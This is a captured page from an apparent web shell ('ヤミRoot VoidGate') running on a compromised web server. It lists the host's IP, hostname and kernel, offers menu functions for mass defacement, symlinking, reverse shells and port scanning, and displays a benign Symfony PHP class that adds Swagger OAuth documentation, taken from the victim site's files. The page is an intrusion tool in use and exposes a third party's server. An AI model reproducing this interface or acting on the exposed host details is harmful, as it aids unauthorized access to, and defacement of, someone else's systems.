ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: SwaggerDecoratorAuth.php.tar
home/logercm/dev.loger.cm/src/Swagger/SwaggerDecoratorAuth.php 0000644 00000006077 15120221472 0020400 0 ustar 00 <?php /** * Created by PhpStorm. * User: user * Date: 25/06/2020 * Time: 18:44 */ namespace App\Swagger; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Serializer\Normalizer\NormalizerInterface; final class SwaggerDecoratorAuth implements NormalizerInterface { /** * NormalizerInterface */ private $decorated; public function __construct(NormalizerInterface $decorated) { $this->decorated = $decorated; } public function supportsNormalization($data, $format = null): bool { return $this->decorated->supportsNormalization($data, $format); } public function normalize($object, $format = null, array $context = []) { $docs = $this->decorated->normalize($object, $format, $context); $docs['components']['schemas']['ouathToken'] = [ 'type' => 'object', 'properties' => [ 'client_secret' => [ 'type' => 'string', 'readOnly' => true, ], 'client_id' => [ 'type' => 'string', 'readOnly' => true, ], ], ]; //redirect-uri,grant-type $docs['components']['schemas']['Clients'] = [ 'type' => 'object', 'properties' => [ 'redirect-uri' => [ 'type' => 'string', 'example' => 'api', ], 'grant-type' => [ 'type' => 'string', 'example' => 'api', ], ], ]; $tokenDocumentation = [ 'paths' => [ '/createClient' => [ 'post' => [ 'tags' => ['ouathToken'], 'operationId' => 'postCredentialsItem', 'summary' => 'Get client.', 'requestBody' => [ 'description' => 'Create new client', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/Clients', ], ], ], ], 'responses' => [ Response::HTTP_OK => [ 'description' => 'Create new client', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/ouathToken', ], ], ], ], ], ], ], ], ]; return array_merge_recursive($docs, $tokenDocumentation); } }
Coded With 💗 by
0x6ick